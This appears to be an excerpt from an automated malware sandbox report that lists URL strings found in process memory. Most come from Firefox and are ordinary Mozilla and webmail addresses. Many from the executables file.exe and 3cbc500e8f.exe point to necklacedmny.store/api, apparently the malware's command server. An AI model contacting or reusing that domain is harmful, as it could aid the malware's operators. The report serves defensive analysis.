Source: firefox.exe, 0000001E.00000003.2338502170.0000018FC3080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001E.00000003.2338502170.0000018FC3080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworkerjson-pointer-uri-fragment
Source: firefox.exe, 0000001E.00000003.2327227071.0000018FC7750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001E.00000003.2327115388.0000018FC7793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001E.00000003.2327115388.0000018FC7793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2288118783.0000018FBF400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2289547467.0000018FBF640000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291102616.0000018FBF660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsThomas
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsextension/screenshots
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001E.00000002.2381213988.0000018FAF911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001E.00000002.2492014669.0000018FC7877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitextensions.pocket.oAuthConsumerKeyThe
Source: firefox.exe, 0000001E.00000003.2338502170.0000018FC3080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2342672711.0000018FC7B9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001E.00000002.2405925706.0000018FBF4C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001E.00000002.2437109245.0000018FC1366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001E.00000002.2534226638.000023C59B504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com08a40f72-8958-46f3-8b0d-9bdc1571b5537b5096a3-582a-437a-8d3a-7edd470
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400600083.0000018FBCA20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/RecommendationProvi
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001E.00000002.2536584778.00003EB4D5D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000001.00000003.1396441898.00000000059E3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1415822749.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 3cbc500e8f.exe, 0000000D.00000003.2176627636.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188556025.00000000060D4000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226590736.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2386585609.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2387387415.000000000178D000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2340484095.0000000006039000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361921898.0000000001780000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2466386640.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2255418863.000000000177A000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2318515282.0000000006035000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324466352.0000000006036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000001.00000003.1427097864.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431861851.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/2Nj
Source: 3cbc500e8f.exe, 0000000D.00000003.2176627636.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3
Source: 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/;
Source: 3cbc500e8f.exe, 0000000F.00000003.2386585609.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361921898.0000000001780000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2466386640.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/?
Source: 3cbc500e8f.exe, 0000000F.00000003.2340080856.0000000006026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/B
Source: 3cbc500e8f.exe, 0000000F.00000003.2318515282.0000000006035000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324466352.0000000006036000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2312475148.0000000006032000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2317254676.0000000006032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I
Source: 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/K
Source: 3cbc500e8f.exe, 0000000D.00000003.2176627636.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/S
Source: 3cbc500e8f.exe, 0000000F.00000003.2386585609.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2466386640.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/W
Source: 3cbc500e8f.exe, 0000000F.00000003.2340080856.0000000006026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Z
Source: file.exe, 00000001.00000003.1427097864.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431861851.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ZN
Source: file.exe, 00000001.00000003.1438793852.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456103077.000000000120A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456132035.000000000120D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438646063.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541597799.000000000120D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541427353.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 3cbc500e8f.exe, 0000000D.00000003.2174155256.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2129301577.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2195334622.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2238402555.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2230728877.000000000165E000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2175531033.00000000060C0000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2149127749.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361687155.0000000001790000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2346560328.000000000177C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2346815327.000000000177F000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2347601329.0000000001780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 3cbc500e8f.exe, 0000000F.00000003.2387387415.000000000178D000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361687155.0000000001790000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2372366319.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api9
Source: 3cbc500e8f.exe, 0000000D.00000002.2238402555.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiPU
Source: file.exe, 00000001.00000003.1438793852.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456103077.000000000120A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456132035.000000000120D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438646063.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541597799.000000000120D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541427353.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiQ
Source: 3cbc500e8f.exe, 0000000F.00000003.2467350845.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiT
Source: file.exe, 00000001.00000003.1427280892.000000000120D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiX
Source: 3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiYU
Source: 3cbc500e8f.exe, 0000000D.00000003.2129301577.0000000001742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api_
Source: file.exe, 00000001.00000003.1427280892.000000000120D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: 3cbc500e8f.exe, 0000000D.00000003.2150787501.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2150446591.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2150200528.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2160013286.000000000174C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2150057101.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2149519778.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2231629283.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2149768988.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2158280795.0000000001748000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2151223426.0000000001742000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2149127749.0000000001742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie
Source: 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apin&
Source: 3cbc500e8f.exe, 0000000F.00000003.2387387415.000000000178D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiq
Source: 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: 3cbc500e8f.exe, 0000000D.00000003.2176627636.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apix
Source: file.exe, 00000001.00000003.1438793852.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456148656.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438646063.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456164253.0000000001202000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/enticatore-storage.jsU
Source: 3cbc500e8f.exe, 0000000F.00000003.2340080856.0000000006026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/j
Source: file.exe, 00000001.00000003.1427097864.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438793852.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456148656.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438646063.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541427353.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456164253.0000000001202000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541631972.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431861851.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/jN2
Source: 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ls
Source: 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/n
Source: file.exe, 00000001.00000003.1395887901.00000000059E3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1396441898.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/r
Source: 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/s
Source: 3cbc500e8f.exe, 0000000F.00000003.2467350845.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/x
Source: 3cbc500e8f.exe, 0000000F.00000003.2340080856.0000000006026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z
Source: 3cbc500e8f.exe, 3cbc500e8f.exe, 0000000D.00000003.2175272520.00000000060B2000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2238402555.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060BE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186530668.00000000060B2000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/pictureinpicture
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.js
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.jsabout-compat/aboutPage.jsIDB_MIGRATE_R
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comchrome://browser/skin/menu.svgaccount-connection-disconnectednetwork.
